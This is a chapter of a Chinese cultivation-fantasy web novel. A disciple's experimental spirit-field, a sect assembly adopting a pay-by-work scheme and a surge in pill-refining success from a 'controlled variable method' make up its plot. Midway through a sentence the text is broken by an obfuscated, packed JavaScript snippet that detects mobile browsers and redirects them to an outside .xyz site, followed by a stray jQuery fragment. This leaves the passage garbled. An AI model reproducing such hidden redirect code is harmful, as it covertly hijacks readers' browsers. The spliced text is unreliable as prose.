日子像山涧的溪水，不紧不慢地流淌。
楚澄除了雷打不动的修炼，更多的时间泡在了外门的实验灵田里。
这片实验田是柳半看过楚澄的计划书后，在柳半的首肯下设立的。
楚澄虽然不是什么农学专家，但前世也接触过一些增产增效的理念，加上有段时间新闻里反复提到的“育种”、“杂交”、“科学种植”等关键词，多少也比这群老古董知道得多些。
不过光有理论知识可不行。
好在柳半为其选下的王博士深耕灵植种植一道，经验丰富，为人也踏实肯干。
没有质疑楚澄这个“外行”的一知半解，反而努力理解她提出来的要素，主动和自己多年的经验融合。
哪怕楚澄后面光顾着忙活字印刷推广和灵脉任务对试验田看顾不多，王博士也自觉扛下这个担子没有松懈。
几个月下来，还真让他摸索出一点门道。
这批用新方法培育的灵植苗，虽然长得慢些，但根系格外发达，叶片也肥厚些，显露出不同于普通灵植的潜力。
“唉，”王博士蹲在田埂上，布满老茧的手像抚摸孩子一样轻轻抚过一株嫩苗，眼神慈爱又忧虑，“这批苗子，可千万得成。今年那场雷暴，把刚成熟的灵植都劈没了……”
他说着，下意识地瞥了一眼旁边的罪魁祸首。
“要是咱们这试验田再出问题，今年的筑基丹，怕是要供应不足喽。那些等着筑基的娃娃们，可就要耽误了。”
“邪门的雷暴……”
楚澄摸了摸鼻子，难得有点心虚。
虽然她也是受害者，但那雷……或许还真是冲着她来的？！
出于责任感，也出于和槐序长老的赌约，楚澄对这片实验田更加上心。
她看着地上的小苗，正琢磨着能不能想办法搞点灵液用来浇灌，或者想办法把灵气聚过来，给这帮小祖宗们开个小灶，方便吸收。
“楚师姐！王博士！”
正思索间，一个外门弟子气喘吁吁地跑来，脸上因为激动涨得通红。
“回来了！长老们……长老们都回来了！刚进山门！宗主传令，所有弟子速去主峰广场集合！”
看来是事情已经解决，回来安抚人心，避免躁动了。
楚澄心中稍安，步子却越来越快，等他们赶到时，偌大的广场已经按照内外门之分排好了队。
楚澄掠过人群，拾级而上，走到最前方亲传弟子所在地，与早已等在那里的江景辞、毕方等人汇合，顺便拍了拍詹初雨的肩膀以示安抚。
站定后她才看清最上方平台上几位风尘仆仆却气势迫人的几位长老。
各位长老虽面露疲惫，但神情轻松，眉宇间透着凯旋的意气风发，显然是打了个胜仗。
柳半立于最前，她目光如炬，扫过下方黑压压的人群，无需扬声，雄浑的灵力就裹挟着她的声音，清晰地响彻在每个弟子耳边。
“诸位弟子……”
躁动的人群骤然安静，主峰广场落针可闻。
“宗门灵脉之危已解！我与诸位长老已经全力扫平障碍，祛除污秽！”她的声音沉稳有力，带着安抚人心的力量：“从下月起，灵脉恢复正常开采。”
“太好了！灵脉恢复了！”
“哎，以后要干的活就更多了。”
热烈的欢呼和雷鸣般的掌声之后，外门弟子处又传来一阵小声的议论和叹气。
柳半自然也听到了。
她的目光似乎不经意地扫过楚澄所在的地方，嘴角带着笑意：“大家稍安勿躁。”
她顿了顿说：“几月前，由楚澄等外门弟子所提出的按劳分配法，经各长老商议予以通过！”
柳半在外门弟子们期待的眼神中点头：“细则将于近日颁布，自下月开始实施！”
“宗主，这也太操之过急了……”
有一黄衣长老下意识地上前一步，语气带着惊愕和一丝不易察觉的焦虑。
楚澄提出的按劳分配方案柳半确实与他们讨论过，其中诸多条款确实能够激励弟子，改变现在如一潭死水毫无朝气的现状。
但宗门灵脉刚刚恢复，库房空虚，盈利羸弱，大家私下商量的方案分明是再缓几年，根基稳固些之后再逐步实施。
宗主怎么就这么宣布了。
“耶！”
“太好了，终于不用为别人的懒惰买单了！”
和忧心忡忡的长老不同，刚还垂头丧气的外门弟子骤然爆发出阵阵惊呼。
一个接一个的好消息，彻底打消了外门弟子心中积压已久的惶恐和对未来的迷茫。他们再顾不上现在的场合，三三两两地聚在一起窃窃私语，脸上洋溢着前所未有的鲜活光彩。
“你们看，他们现在的样子不是很好吗？”
柳半看着下方一张张激动得发红的脸庞，眼中笑意更深：“宗门积弊已久，弟子们心气低迷，与其让他们惶惶度日，不如借此机会振奋人心。破而后立，正当其时！”
长老们顺着柳半的视线看下去，看到年轻弟子们眼中久违了的光芒，到嘴边的反对终究还是咽了下去。
罢了罢了，宗主既已许诺，还能朝令夕改不成。
宗门……也不是穷得揭不开锅，这多出的开支后面再想个办法开源吧。
此刻，心绪复杂的长老们并没意料到，几天后的小会上事情就出现了转机。
“噗——咳咳咳！”
黄衣长老被茶水呛得直咳嗽，他瞪大眼睛，怀疑自己出现了幻听。
“什么？暮霭长老是说灵药坊的丹药库满了？！”
要不是场合不对，他真想当场掏掏耳朵。
什么叫灵药坊的库房堆满了，需要想办法消耗一批。
这种话是他该听到的吗？！
这简直比魔尊改行去卖糖人还离谱。
暮霭表情也十分精彩，像是一个饼状统计图，清楚展现出三分欣慰，四分茫然还有三分难以置信。
别说这些没看到的长老们不信，她亲眼去灵药坊储物阁看了好几次，但每次进去都还像是在做梦。
她深吸一口气，给摸不着头脑的人解释：“我宗医修分为仙药坊、灵药坊两坊。
诸位皆知，灵药坊的弟子资质稍差，平日只炼制辟谷丹、凝心丹等基础丹药，成丹率……不到两成。”
她顿了顿，目光不由自主飘向努力降低存在感的楚澄：“然，在我等离宗期间，弟子们学了阿澄传授的控制……”
暮霭哽了一下，回忆起那个没听过的功法：“控制变量法，对，就是这个奇术。据闻弟子们
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861067|176027||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
习得此法后，如醍醐灌顶，灵台清明，如今……”
她顿了顿，语气里都带着不可思议：“成丹率已经提高到八成以上了。”
“嘶——”
长老们被惊得仿佛掉进蛇窝，但这也不怪他们，实在是——
“七成！据说月华宗成丹率也就八成！”
要知道月华宗可是个丹修专科学院，聚集了诸多丹修大佬的存在！
“控制变量法？这到底是个什么仙家秘术？！”
长老们面色复杂地看向楚澄，没想到她说杂修是来真的，居然连炼丹专业要求这么高的事情都能掺和进去。
长老们的目光如探照灯，饶是楚澄见过不少大场面，也被灼人的视线烫得有几分不自在。她下意识地往江景辞身后挪了半步，恨不得就地消失。
“对了，”暮霭的表情更感慨，再次抛出一个重磅炸弹：“灵药坊有几个弟子，在应用此法炼丹的过程中，心有感悟，瓶颈松动，当场升阶了。”
如果说刚才是探照灯，那现在就是激光炮，楚澄甚至能感觉到那些目光越过江景辞，直勾勾地停在她身上。
她甚至能感觉到原本站在他们后面的詹初雨小步退出人群，躲得老远。
“炼出的丹药品质如何？”柳半的眼神也亮得惊人，随即直切重点，语气里是掩饰不住的激动。
“有高有低，”暮霭言简意赅“因所用药材等级受限，故下品灵丹约占三成，中品灵丹占六成。”
“六成中品？！那岂不是还有一成的……”长老们福至心灵，张大嘴巴足够塞下一个大鸭蛋。
那可是用低阶草药炼出的一成上品灵丹呀！
明德老祖在上，您老人家是看明德太惨，专门赐了这么个文能炼丹立书、武能越阶升级的宝贝疙瘩下来吗？！
瞬间，所有长老看向楚澄的眼神就像看到蜂蜜的狗熊，滚烫得几乎能融化寒冰。
然而，暮霭长老话锋一转，语气带上了一丝微妙的烦恼。
“不过，此法也有一个隐患……”
嗯？长老们的心又瞬间提上了来，难道是有什么副作用，比如损伤弟子灵脉？
要是这样，成丹率再高也绝不能推行。
暮霭长老无奈摊手，吐出一个让所有长老再次怀疑人生的结论：“成丹率太高，消耗剧增，宗里现有药田所产灵植供应不上。”
嗯？！
黄衣长老终究还是没忍住，他瞪着眼睛，不可置信地掏了掏耳朵。
因为成丹率太高，仓库装不下？
因为成丹率太高，药田灵植不够用？
祖师爷保佑，他活了这么大岁数，做梦都不敢这么做。
不同于其他长老纯粹的激动，槐序的心情就复杂多了。他端坐在长老席上，双手紧紧扣着座椅扶手，眼神闪躲，坐立难安。
他本以为，楚澄之前所说都是冲动之言，哪怕她打赌立誓，他也没太把这回事放在眼里。
他以为，等楚澄少年心气过去，迟早会知道自己之前所言是多么胆大妄为。
他甚至想好了，等誓言临期他就自己主动开口作废，毕竟这么难得的好苗子，年少轻狂可以理解。
现在看来，他没当真，楚澄却没在开玩笑。
她是真的奔着打自己脸来的呀！